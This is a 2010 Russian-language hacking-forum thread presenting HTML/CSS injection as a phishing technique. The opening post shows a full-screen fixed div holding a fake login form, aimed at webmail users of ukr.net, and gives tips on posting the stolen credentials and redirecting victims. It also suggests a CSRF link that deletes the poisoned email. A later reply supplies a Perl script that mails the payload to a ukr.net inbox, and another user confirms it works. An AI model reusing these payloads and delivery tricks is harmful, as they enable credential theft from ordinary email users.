Старый 13.09.2010, 22:41   #1
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию HTML Injection

Грядки, на которых раньше буйно цвёл XSS, давно вытоптаны стадами жадных школьников, потому старый и никому ранее не нужный баян под названием "HTML Injection" может заиграть новыми нотами :)
Цитата:
CSS level 2 was developed by the W3C and published as a Recommendation in May 1998. A superset of CSS1, CSS2 includes a number of new capabilities like absolute, relative, and fixed positioning of elements and z-index
http://en.wikipedia.org/wiki/Css
Очень старая тема, я же вам говорил.
  • Уязвимы: Все сервисы, которые разрешают HTML + CSS и фильтруют его по блэклисту, потенциально уязвимы
  • Не уязвимы: Сервисы, фильтрующие по вайтлисту (gmail)

Список потенциальных жертв: вебмейлы, социальные сети, бложеки, шопы.

Суть такова:
В документ внедряется HTML-элемент(обычно div или span), который средствами css2 делается полноэкранным либо выводится в шапку/сайдбар, частично или полностью замещая реальный интерфейс. Внутри внедрённого элемента находится фальшивая форма для ввода логина/пароля (обычный HTML).
Изменение страницы, в отличие от фейка, сделанного через XSS, происходит на этапе рендера, до того, как что-то отобразилось, потому заметить подмену невозможно даже намётанным глазом фишера.

Способов внедрить css property примерно в миллион раз больше, чем способов внедрить javascript, потому фильтрация "плохого css" по блэклисту неэффективна.

Пара полезных приёмов:
-не пугайте юзера его паролем в адрессбаре, делайте POST запрос. На своём скрипте пните его назад обычным 302 редиректом на страничку, которую он ожидает увидеть. POST волшебным образом превратится в GET (хотя rfc пишут по-другому)
-в одной из реализаций атаки на веб-мэйл в качестве ссылки возврата использовалась CSRF ссылка на удаление "ядовитого" письма, которая, в свою очередь, возвращала в инбокс. ID письма брался из реферера. Элегантно и эффективно. Саша, привет! :)

В качестве примера мы убъём тему с HTML Injection на популярном украинском почтовике ukr.net
Тестовый ящик:
rdot.org@ukr.net:05a671c66aefea124cc08b76ea6d30bb (дабы отсеять совсем левую публику - хеш)
Ukr.net грузит письмо аяксом, так что есть пауза. Для ресурсов, выдающих контент одним куском, её не будет.

Я поленился рисовать форму логина, но идея понятна.
Никакого яваскрипта, чистый HTML4+CSS2.

Простейший код для тестирования:
Код HTML:
outer text
<div style="position:fixed;top:0px;left:0px;width:100%;height:100%;z-index:999;background-color:black;">
inner text
<form action="http://www.google.com/search">
Login: <input value="test" name="q">
<input type="submit" value="send">
</form>
</div>
// специально для rdot.org
// копирование без ссылки на источник не одобряется.

Последний раз редактировалось tipsy; 14.09.2010 в 16:44..
tipsy вне форума   Ответить с цитированием
Старый 13.09.2010, 23:23   #2
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

круто

но письмо содержит в себе лишь:
Код:
<div class="ukr_editor_quotation_wrap">
  <div class="nicedit-wrap">
    <div class="ukr_editor_quotation_wrap"></div>outer text
    <div style="position: fixed; top: 0px; left: 0px; width: 100%; height: 100%; z-index: 999; background-color: black;">
      inner text <input value="test"> <input value="clickme" type="submit">
    </div><br>
    <br>
  </div>
</div>
формы я там не обнаружил. (и по клику на clickme в письме ничего не происходит)
так и было задумано ?
DrakonHaSh вне форума   Ответить с цитированием
Старый 13.09.2010, 23:56   #3
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Видимо, я проебал форму при конструировании письма (пихал через встроенный редактор)
У меня в другом ящике лежит первый вариант, с рабочей формой - письмо слал внешней программой.

Последний раз редактировалось tipsy; 14.09.2010 в 17:03..
tipsy вне форума   Ответить с цитированием
Старый 14.09.2010, 00:02   #4
hard
Banned
 
Регистрация: 06.07.2010
Сообщений: 50
Репутация: 1
По умолчанию

Сто лет уже используется в профильных дорах.
hard вне форума   Ответить с цитированием
Старый 14.09.2010, 00:05   #5
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Цитата:
Сообщение от hard Посмотреть сообщение
Сто лет уже используется в профильных дорах.
Хмм, не могу понять, каким боком доры к фишингу.
---
Ааа, ты про доры, которые пихают прицепом в чужие ресы? Ага.

Последний раз редактировалось tipsy; 14.09.2010 в 17:03..
tipsy вне форума   Ответить с цитированием
Старый 14.09.2010, 03:20   #6
Demon1X
 
Аватар для Demon1X
 
Регистрация: 10.07.2010
Сообщений: 56
Репутация: 5
По умолчанию

Цитата:
Сообщение от tipsy Посмотреть сообщение
  • Уязвимы: Все сервисы, которые разрешают HTML + CSS и фильтруют его по блэклисту, потенциально уязвимы
  • Не уязвимы: Сервисы, фильтрующие по вайтлисту (gmail)
1. Поисните пожалуйста, что за фильтры по блэклисту и вайтлисту? как работают? как определить какой на нужном ресурсе?

Цитата:
Ааа, ты про доры, которые пихают прицепом в чужие ресы? Ага.
2. А вот это вообще мозг вынесло, можно разъяснить?
Demon1X вне форума   Ответить с цитированием
Старый 14.09.2010, 07:36   #7
life_glider
 
Аватар для life_glider
 
Регистрация: 06.07.2010
Сообщений: 43
Репутация: 17
По умолчанию

[QUOTE=Demon1X;6442]1. Поисните пожалуйста, что за фильтры по блэклисту и вайтлисту? как работают? как определить какой на нужном ресурсе?/QUOTE]

блэклист - разрешено что не запрещено
вайтлист - запрещено что не разрешено
попихай разные(левые) тэги с разными и левыми параметрами.
__________________
Вы все такие классные
life_glider вне форума   Ответить с цитированием
Старый 14.09.2010, 11:14   #8
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Цитата:
Сообщение от Cross Посмотреть сообщение
Да, формы нет...
Закиньте кто-то с формой
Цитата:
#!/usr/bin/perl -w
use strict;
use MIME::Lite;

# SendTo email id
my $email = 'rdot.org@ukr.net';

# create a new MIME Lite based email
my $msg = MIME::Lite->new
(
Subject => "test2",
From => 'user@localhost',
To => $email,
Type => 'text/html',
Data => '<div style="position:fixed;top:0px;left:0px;width:100%; height:100%;z-index:999;background-color:white;">
<form action="http://www.google.com/search">
Login: <input value="test" name="q">
<input type="submit" value="send">
</form>
</div>'
);

$msg->send();
Только учтите, что дойдёт минимум часа через 3
http://ru.wikipedia.org/wiki/Серый_список

Последний раз редактировалось tipsy; 14.09.2010 в 17:04..
tipsy вне форума   Ответить с цитированием
Старый 14.09.2010, 13:04   #9
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

письмо закинул, все работает
DrakonHaSh вне форума   Ответить с цитированием
Старый 14.09.2010, 13:39   #10
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Цитата:
Сообщение от DrakonHaSh Посмотреть сообщение
письмо закинул, все работает :)
Спасибо :)

Кстати, есть много других интересных тэгов, которые можно использовать в случае, если HTML фильтруют по блеклисту. Некоторые атаки основаны на чистом HTML, без css. Оставлю эти моменты на откуп читателю :)

Последний раз редактировалось tipsy; 14.09.2010 в 17:01..
tipsy вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot